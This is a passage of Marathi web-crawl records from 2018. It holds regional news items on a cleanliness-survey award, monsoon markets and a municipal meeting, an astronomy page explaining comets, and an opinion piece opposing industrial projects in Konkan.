"nlines": 50, "source_domain": "amp.esakal.com", "title": "pune news lonavala nagar parishad journalist and artist लोणावळा शहर पत्रकार संघ व आर्टिस्टचा नगरपरिषदेकडून गौरव | eSakal", "raw_content": "\nलोणावळा शहर पत्रकार संघ व आर्टिस्टचा नगरपरिषदेकडून गौरव\nसकाळ वृत्तसेवा | सोमवार, 19 मार्च 2018\nस्वच्छ सर्वेक्षण 2018 मधील नागरिकांचा सहभाग या विभागात निवड झाल्याबद्दल लोणावळा शहर पत्रकार संघाचे अध्यक्ष बंडू येवले यांचा शनिवारी नगराध्यक्षा सुरेखा जाधव यांच्या हस्ते सत्कार करण्यात आला. यावेळी मुख्याधिकारी सचिन पवार, उपनगराध्यक्ष श्रीधर पुजारी आदी उप\nलोणावळा: स्वच्छ सर्वेक्षण २०१८ अंतर्गत नागरिकांचा सहभाग या विभागात देशभरातून निवडण्यात आलेल्या २४ सर्वोत्कृष्ट उपक्रमांमध्ये लोणावळा शहर पत्रकार संघाच्या वतीने आयोजित चित्रकला स्पर्धांचा आणि लोणावळा आर्टिस्ट ग्रुपच्या भिंत्तीचित्रांद्वारे स्वच्छतेचा संदेश देण्याच्या अभिनव उपक्रमाचा समावेश करण्यात आला आहे. या गौरवास्पद कामगिरीबद्दल या दोन्ही संघटनांचा लोणावळा नगरपरिषदेच्या वतीने सत्कार करण्यात आला.\nलोणावळा: स्वच्छ सर्वेक्षण २०१८ अंतर्गत नागरिकांचा सहभाग या विभागात देशभरातून निवडण्यात आलेल्या २४ सर्वोत्कृष्ट उपक्रमांमध्ये लोणावळा शहर पत्रकार संघाच्या वतीने आयोजित चित्रकला स्पर्धांचा आणि लोणावळा आर्टिस्ट ग्रुपच्या भिंत्तीचित्रांद्वारे स्वच्छतेचा संदेश देण्याच्या अभिनव उपक्रमाचा समावेश करण्यात आला आहे. या गौरवास्पद कामगिरीबद्दल या दोन्ही संघटनांचा लोणावळा नगरपरिषदेच्या वतीने सत्कार करण्यात आला.\nदेशभर सध्या 'स्वच्छ सर्वेक्षण २०१८' चे गुणांकन सुरू आहे. त्यामध्ये स्वच्छता अभियानातील स्थानिक नारगरिकांचा तसेच संस्था- संघटनांचा सहभाग याचाही विचार केला जातो. त्याअंतर्गतच असे उपक्रम राबविणाऱ्या संस्थांची माहिती संकलित केली गेली. देशभरातून निवडल्या गेलेल्या २४ पैकी 3 उपक्रम महाराष्ट्रातील असून त्यापैकी 2 उपक्रम लोणावळ्यातील आहेत.\nलोणावळा नगरपरिषदेसाठी ही अत्यंत अभिमानाची बाब असल्याचे मुख्याधिकारी सचिन पवार यांनी सांगितले. या उल्लेखनीय कामगिरीबद्दल या दोन्ही संस्थांचा नगराध्यक्षा सुरेखा जाधव यांच्या हस्ते आज सत्कार करण्यात आला. उपनगराध्यक्ष श्रीधर पुजारी, मुख्याधिकारी सचिन पवार आदी पदाधिकारी यावेळी उपस्थित होते.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00231.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://avakashvedh.com/khagoliya_goshti/dhumketoo.html", "date_download": "2018-09-25T16:34:23Z", "digest": "sha1:VZ6IUGKSMEYFAVJKZJYQRVSR7DVQK4Y6", "length": 14651, "nlines": 126, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nआकाशात क्वचितच दिसणारी अतिशय सुंदर व आकर्षक अशी खगोलीय वस्तू म्हणजे धूमकेतू. रात्रीच्या आकाशात लांबलचक पिसार्‍याने जगाचे लक्ष वेधून घेणारा धूमकेतू पुरातन काळापासून भीतीयुक्त औत्सुक्याने पाहिला जातो.\nधूमकेतू हे गोठलेल्या कार्बनडायऑक्साईड वायू ( CO 2), बर्फ, धूळ व छोट्या मोठ्या कणांपासून बनलेले असतात. सूर्यापासून दूर असताना ते गोठलेल्या अवस्थेमुळे, पृथ्वीवरून पाहिले असता बिंदुवत दिसतात. मात्र सूर्याजवळ आल्यावर तापून त्यांना प्रचंड मोठी शेपटी फुटल्याचे दिसू लागते. यावेळी धूमकेतूचे तीन भाग स्पष्ट दिसू लागतात. अगदी पुढे असणारा धूमकेतूचा केंद्रभाग किंवा घनभाग म्हणजे न्युक्लिअस. याघनभागाभोवती धुराप्रमाणे वायूचे आवरण असते. त्याला कोमा असे म्हणतात. या कोमातूनच एक लांबलचक शेपटी फुटलेली दिसते. धूमकेतूच्या घन भागाला 'डर्टी स्नो बॉल' या नावाने ओळखले जाते. कारण यामध्ये धूळ, काही वायू, बर्फ व कार्बनडायऑक्साईड वायू असतो. हा घनभाग वेड्यावाकड्या आकाराचा असून त्याचा आकार काही मीटर पासून दहा-वीस किलोमीटर पर्यंतचा असू शकतो. हॅलेच्या धूमकेतूचा केंद्र १६ की. मी. लांब व ७. ५ की. मी. रुंदीचा आढळून आला होता. धूमकेतूची शेपटी ही अतिशय विरळ असून, सूर्याच्या उष्णतेमुळे घनभागातील वायू व धूळ तापून बाहेर फेकली गेल्याने दिसू लागते. कोमा हा लाखभर की. मी. व्यासाचा असू शकतो तर त्यातून बाहेर पडलेली धूमकेतूची शेपटी कोट्यवधी की. मी. लांबीची असू शकते. सौरवार्‍यामुळे धूमकेतूची शेपटी सूर्याच्या विरुद्ध बाजूस दिसते. शेपटीचे नीट निरीक्षण केल्यास धूमकेतूस दोन प्रकारच्या शेपट्या फुटलेल्या दिसतात. एक शेपटी सरळ तर दुसरी किंचित वक्र दिसते. सरळ शेपटी ही विद्युतभारित कणांनी बनलेली, सौरवार्‍यामुळे ती सूर्यापासून दूर जात असलेली दिसते. किंचित वक्र असलेली दुसरी शेपटी ही धूमकेतूच्या धूळ व सूक्ष्म कणांनी बनलेली असते. प्रत्येक सूर्यभेटीत धूमकेतू आपले द्रव्य गमावीतच असल्याने काही सूर्यभेटीनंतर त्याचा क्षय होतो व तो नाहीसा होतो. हॅलेचा धूमकेतू दर सेकंदाला २५ ते ३० टन द्रव्य बाहेर फेकतो असे शास्त्रज्ञांना दिसून आले आहे.\nआपल्याला दिसणारे धूमकेतू हे आकाशाच्या पोकळीत असलेल्या उर्ट क्लाउड भागातून येत असावेत असे शास्त्रज्ञांना वाटते. याभागात सुमारे शंभर अब्ज धूमकेतू असून काही कारणाने ते आपल्या जागेपासून हालल्यास व सूर्याच्या गुरुत्वाकर्षणामध्ये अडकल्यास ते सूर्याकडे खेचले जातात. सूर्याला काही ठराविक अंतरावरून फेरी मारून पुन्हा सूर्यापासून दूर जातात. त्यांचे हे जाणे येणे सतत चालू राहते. शेवटी त्यांच्यातील द्रव्य संपून किंवा ते ग्रहांवर अथवा प्रत्यक्ष सूर्यावर कोसळून नाहीसे होत असावेत असा शास्त्रज्ञांचा कयास आहे. काही धूमकेतूंच्या कक्षा अन्वस्त म्हणजे पॅराबोला प्रकारच्या असल्याने हे धूमकेतू एकदा सूर्याजवळ आले की पुन्हा सूर्याकडे येऊ शकत नाहीत मात्र लंबवर्तुळाकार कक्षांचे धूमकेतू ठराविक काळाने सूर्याजवळ येऊन आपले अस्तित्व दाखवतात. यामुळेच हॅलेचा धूमकेतू दर ७५-७६ वर्षांनी आपल्याला दिसतो.\nपृथ्वीवर जीवसृष्टी व पाणी कसे निर्माण झाले असावे याचे अनेक सिद्धांत शास्त्रज्ञांनी मांडले आहेत. यापैकी एका सिद्धान्तानुसार पृथ्वीवर धूमकेतू आदळल्याने पाणी व जीवसृष्टी निर्माण झाली असावी. प्रसिद्ध खगोलशास्त्रज्ञ फ्रेड हॉवेल व विक्रमसिंघे यांच्या मते धूमकेतूंच्या धुळीत पृथ्वीचा प्रवास होताना काही विषाणू पृथ्वीवर येतात व रोगराई पसरते. अवकाशयाने धूमकेतूवर उतरवून धूमकेतू विषयीचे अधिक ज्ञान मिळवण्याचे स्वप्न पाहत आहेत.\nधूमकेतू संबंधीच्या अधिक माहिती माहितीसाठी इथे क्लिक करा.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00231.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/desh/markets-bloom-rainy-seasons-material-120360", "date_download": "2018-09-25T17:55:33Z", "digest": "sha1:IXB3UTDRQ6UIVCZJRTIO4LB7SMP2LKLW", "length": 13043, "nlines": 170, "source_domain": "www.esakal.com", "title": "markets bloom with rainy seasons material पावसाळी साहित्याने बाजारपेठा फुलू लागल्या | eSakal", "raw_content": "\nपावसाळी साहित्याने बाजारपेठा फुलू लागल्या\nबुधवार, 30 मे 2018\nपणजी : राज्यात मान्सूनचे आगमन येत्या काही दिवसातच होणार असून मान्सूनच्या स्वागतासाठी राजधानी पणजीतील बाजारपेठाही पावसाळी साहित्याने फुलल्या आहेत. बाजारपेठेत सर्वत्र रेनकोट, छत्र्या, पावसाळी चप्पले आणि इतर पावसाळी साहित्य मोठ्या प्रमाणात दाखल झाले आहे.\nपणजी : राज्यात मान्सूनचे आगमन येत्या काही दिवसातच होणार असून मान्सूनच्या स्वागतासाठी राजधानी पणजीतील बाजारपेठाही पावसाळी साहित्याने फुलल्या आहेत. बाजारपेठेत सर्वत्र रेनकोट, छत्र्या, पावसाळी चप्पले आणि इतर पावसाळी साहित्य मोठ्या प्रमाणात दाखल झाले आहे.\nकाही दिवसांत शाळांची सुट्‌टीही संपणार असल्याने ही खरेदी करण्यासाठी बालचमू आणि पालकवर्ग बाजारात गर्दी करताना दिसून येत आहे. मागीलवर्षी पेक्षा यावर्षी पावसाळी साहित्याची खरेदी कमी प्रमाणात केली जात असल्याने काही दुकानदारांचे म्हणणे आहे. छत्र्यांची किंमत कमीत कमी 99 रुपयांपासून सुरू होऊन आकारातील बदल आणि दर्जानुसार 500 रुपयांपर्यंतची आहे. रेनकोटच्या बाबतीत झील आणि रिअल या दोन ब्रॅंडची सध्या चलती आहे. या दोन्ही ब्रॅंडचे रेनकोट 700 रुपयांपासून 1600 ते 1700 रुपयांच्या किंमतीपर्यंत बाजारात उपलब्ध आहेत. 300 रुपयापासून किंमत असणारे इतर रेनकोटही बाजारात उपलब्ध आहेत.\nपावसाळ्यात येणाऱ्या पावसाळी चप्पलांच्या फॅशनची जादू पसरायला सुरू झालेली असून रबर आणि प्लॅस्टिकचे वेगवेगळ्या फॅशनमधील बूट आणि चप्पलही दाखल झाले आहेत. चप्पलांच्या बाबतीत फॅशन, स्टाइल आणि दर्जानुसार किमती कमी जास्त झालेल्या पहायला मिळतात. मुलींचे आणि लहान मुलांचे प्लॅस्टिकचे बूट आणि चप्पल 99 रुपयापासून सुरू होतात पण यामधील चांगल्या दर्जाचे चप्पल 400 रुपया पर्यंतच्या किमतीत बाजारात उपलब्ध आहेत. मुलींच्या तुलनेत मुलांच्या चप्पलांच्या किमती अधिक असल्याचे पहायला मिळते. मुलांच्या चप्पलांच्या किमती 200 रुपयांच्या आसपास सुरू होऊन नंतर सुमारे 500 ते 600 रुपयांपर्यंत विस्तारत जातात. या किमती बाजारात असणाऱ्या दुकानातील असून ब्रॅंडेड वस्तूंच्या किमती त्या ब्रॅंडप्रमाणे ब्रॅंड शोरूममध्ये उपलब्ध आहेत.\nहेरले येथे चोरट्यांनी दूचाकीसह दहा तोळे सोने व रोकड पळवली\nहेरले - हेरले ( ता. हातकणंगले) येथील बबन भाऊ कदम यांच्या घरात सोमवारी मध्यरात्री चोरी झाली. चोरट्यांनी दोन दूचाकीसह दहा तोळे सोने व रोकड पंधरा हजार...\nडॉ. नानासाहेब धर्माधिकारी प्रतिष्ठानतर्फे निर्माल्यापासून खतनिर्मिती\nकऱ्हाड : येथील डॉ. नानासाहेब धर्माधिकारी प्रतिष्ठानतर्फे निर्माल्यापासून खतनिर्मिती राबविण्यासाठी शहरासह पाचवड येथे तीन टन निर्माल्य जमा केले. येथील...\nहॉकर्सच्या जप्त साहित्याची परस्पर विक्री\nजळगाव ः शहरात अतिक्रमण निर्मूलन मोहिमेंतर्गत महापालिका प्रशासनाच्या अतिक्रमण विभागाने हॉकर्सचे लाखो रुपयांचे साहित्य जप्त केले. परंतु या साहित्याची...\nसभापतींकडून स्व: खर्चाने शाळा दुरुस्ती\nचिपळूण - तालुक्‍यातील कोंडमळा येथील जिल्हा परिषद शाळेची इमारत नादुरुस्त झाली आहे. शाळा इमारत दुरुस्तीत जिल्हा परिषदेकडून या शाळेस निधी मिळाला...\nगारगोटी येथे शाळकरी मुलीचा होरपळून मृत्यू\nगारगोटी -सोनारवाडी (ता. भुदरगड) येथे शिवाजी पांडुरंग ऱ्हाटवळ यांच्या घराला शॉर्टसर्किटने आग लागली. यात शाळकरी मुलीचा दुर्दैवी मृत्यू झाला. अपूर्वा...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00231.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/purushottam-athalekar-article-on-refinery-project/", "date_download": "2018-09-25T17:16:43Z", "digest": "sha1:O4T3MAKGQAC4C45B6LLIZ4RXAOZMODAZ", "length": 21595, "nlines": 256, "source_domain": "www.saamana.com", "title": "विकासासाठी निसर्गाचा बळी का? | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nविकासासाठी निसर्गाचा बळी का\nआजकाल प्रकल्पाला होणारा विरोध का होतो हे व्यवस्थित पारदर्शकपणे जनतेला सांगणे, त्यामधील फायदे-तोटे आकडेवारीनुसार स्पष्ट करणे हे शासनाला जमत नाही. घिसाडघाईने जनतेच्या माथ्यावर प्रकल्प लादायचे ही वस्तुस्थिती आहे. प्रकल्प, विकास कोणाला नको असे नाही, परंतु त्यांनी मानवी जीवनावर तसेच पर्यावरणावर विपरीत परिणाम होणार असतील तर असे प्रकल्प कशाला हवेत नाण्याच्या दोन बाजू असतात त्याप्रमाणे फायदे व तोटेही असतात. त्याप्रमाणे त्याची टक्केवारी तपासणे गरजेचे आहे. कोणताही प्रकल्प येण्याआधी भूसंपादन, बाधितांचे पुनर्वसन, रोजगार व आर्थिक मोबदला याबाबत घोषणा, आश्वासने ही कागदोपत्रीच राहिली आहेत हा आजवरचा इतिहास आहे. मागील काही वर्षांत कोकणात तीन मोठय़ा प्रकल्पांबाबत विरोध होत आहे. मुळातच कोकणाला निसर्गाने नैसर्गिक संपत्ती बहाल केली आहे. त्यामुळे कोकणाला ‘महाराष्ट्रातील कॅलिफोर्निया’ म्हणून ओळखले जाते. अशा परिसरात आधी एन्रॉन, मग जैतापूर अणुऊर्जा आणि आता नाणार येथे तेलशुद्धीकरणाचा प्रकल्प. या प्रकल्पांमुळे कोणीही किती सांगितले तरी त्याचा पर्यावरणावर परिणाम हा होणारच. आज कोकणची सारी संपत्ती ही निसर्गावर अवलंबून आहे. नद्या, नाले, जंगले, डोंगर, दऱ्याखोऱ्या, प्राणी, झाडे या सर्व गोष्टींमुळे तेथे पर्यावरणाचा समतोल अबाधित आहे. तेथे असलेल्या बागबागायती, त्याला पूरक असे फलोद्यानाचे व्यवसाय, कोकणाला लाभलेला अथांग समुद्र, त्यावर असलेला पिढीजात मच्छीमारीचा व्यवसाय यावर नक्कीच परिणाम होणार आहेत. म्हणून विकास किंवा प्रकल्प नको ही भूमिकासुद्धा योग्य नाही. परंतु ज्या कोकण परिसराला निसर्गाचे नंदनवन म्हटले जाते तेथे अशा प्रकारचे रासायनिक घटक असलेले प्रकल्प नक्कीच पर्यावरणाला हानी पोहोचवणारे आहेत आणि रासायनिक घटकांचे दुष्परिणाम आपल्याला कालांतराने समजत असतात. अशा प्रकल्पाच्या माध्यमातून तापमानाचे प्रमाण नक्कीच वाढणार आहे. एकीकडे ‘ग्लोबल वॉर्मिंग’च्या गोष्टी करत असताना आणि दिवसेंदिवस तापमानात होणारी वाढ लक्षात घेता हे प्रकल्प कोकणासारख्या परिसरात किती उपयुक्त आहे याचा विचार होणेही गरजेचे आहे. आज नैसर्गिक जीवसृष्टी व संपत्तींचा ऱहास होतोय व त्याचा पर्यावरणावर विपरीत परिणाम होत आहे हे लक्षात घेऊन आपण विविध उपक्रम, योजना राबवून सर्वांमध्ये व्यापक जनजागृती करत असताना अशा औद्योगिक प्रकल्पाचासुद्धा एका वेगळय़ा दृष्टिकोनातून विचार केला गेला पाहिजे. आज नैसर्गिक संपत्ती जतन करण्यास आपल्याला अपयश येत आहे ही वस्तुस्थितीसुद्धा नाकारून चालणार नाही. कोकण हे आपल्याला निसर्गाने दिलेला मोठा खजिना आहे. त्यामुळे तेथे पर्यावरणाचा समतोल असून प्रदूषण जरासुद्धा नाही. उद्या भविष्यात येथे वीजनिर्मिती, अणुऊर्जा व तेलशुद्धीकरणासारखे प्रकल्प कार्यान्वित झाले तर त्याचा पर्यावरणावर नक्कीच परिणाम होणार आहे. त्याचा मोठा फटका बागायतदार, मच्छीमार व्यावसायिक व सभोवतालच्या वातावरणावर होणार आहे. आज पर्यावरणाचे संतुलन बिघडल्यामुळे हवामानावर होणारा परिणाम आपण अनुभवत आहोत. निसर्गाचे ऋतुचक्रसुद्धा बेभरवशाचे होऊ लागले आहे. स्वाभाविकच त्याचा शेती व्यवसायावर परिणाम होत आहे. तरीही नैसर्गिक संपत्तीविषयी म्हणावे तितके गांभीर्य नाही असेच म्हणावे लागेल. उद्योग, विकास, प्रकल्प हे झालेच पाहिजे. त्याशिवाय प्रगती होणार नाही, पण त्यासाठी निसर्गावर मात करणे हे धोकादायक आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nपुढीलमहाराजांचा गड- श्रीमान ‘रायगड’\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00231.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/539530", "date_download": "2018-09-25T17:15:06Z", "digest": "sha1:BDOCET2KKXMRWKWZIBXRCJJG7JP6VGGA", "length": 6840, "nlines": 39, "source_domain": "www.tarunbharat.com", "title": "पालिकेत सीओंनी घेतलेल्या बैठकीचे गौडबंगाल काय? - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » सातारा » पालिकेत सीओंनी घेतलेल्या बैठकीचे गौडबंगाल काय\nपालिकेत सीओंनी घेतलेल्या बैठकीचे गौडबंगाल काय\nसातारा पालिकेचे मुख्याधिकारी शंकरराव गोरे यांनाच पालिकेचे कर्मचारी ऐकत नाहीत. त्यामुळे शहरात सोयी सुविधा देताना अडचणी निर्माण होत असल्याने त्यांनी बुधवारी सर्व खातेप्रमुखांची बैठक घेतली. सर्व विभागप्रमुखांना सूचनाही दिल्या गेल्या. त्यानुसार त्यांच्या या अचानक घेतलेल्या बैठकीमागे गौडबंगाल काय असा सवाल सातारकरांमधून उपस्थित होवू लागला आहे. दरम्यान, पालिकेच्या निम्म्याहून अधिक कर्मचाऱयांकडे स्वच्छतेचे ऍपही नसल्याचे समोर आले आहे. दरम्यान, हे ऍप डाऊनलोड करा. असे सांगण्यासाठी साताऱयातील एका महाविद्यालयाला ठेका दिल्याचे समजते. यावरुन पालिकेचा कारभार म्हणजे उंटावरुन शेळय़ा हाकण्याचाच प्रकार सुरु असल्याची टीका होवू लागली आहे.\nकेंद्र शासनाने स्वच्छ भारत अभियान आणि इतर योजना राबवण्याबाबत स्पष्ट निर्देश पालिकांना दिले आहेत. त्यातच स्वच्छतेचे ऍपही प्रत्येकाच्या मोबाईलवर असावे असे सांगण्यात आले. त्यानुसार पालिकेच्या कर्मचाऱयांच्या मोबाईलवर ते ऍप नसल्याचे निदर्शनास आल्याने तातडीने मुख्याधिकारी शंकरराव गोरे यांनी बुधवारी सर्व खातेप्रमुखांची बैठक बोलवली. सातारा पालिकेचे घसरत असलेले रँकींग कसे पुढे आणायचे यावर स्पष्ट सूचना दिल्या. त्यानुसार बांधकाम विभागाचे मुख्य अभियंता भाऊराव पाटील, सुधीर चव्हाण, प्रदीप साबळे, नगर विकास विभागातील आष्टीकर, आरोग्य विभागाचे शिवदास साखरे, वसुली विभागाचे जाधव यांच्यासह सर्वांनाच बोलवून गोरे यांनी स्पष्ट सूचना दिल्याचे समजते. मात्र, सातारा पालिकेच्या कर्मचाऱयांकडेच जर ऍप नसेल तर स्वच्छतेमध्ये रँकींग कसे सुधारेल, असे कयास बांधत पालिकेच्या या बैठकीत प्रत्येकाच्या मोबाईलमध्ये हे ऍप असले पाहिजे, अशा सूचना दिल्याचे समजते. त्यानुसार कार्यवाहीही सुरु झाल्याचे समजते.\nनवसामुळे माहुली झाली स्वच्छ\nमहिलेचे व्हिडीओ चित्रीकरण करणास चोप\nकोरेगावात भर बाजारपेठेतील साडी दुकानात धाडसी चोरी\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select 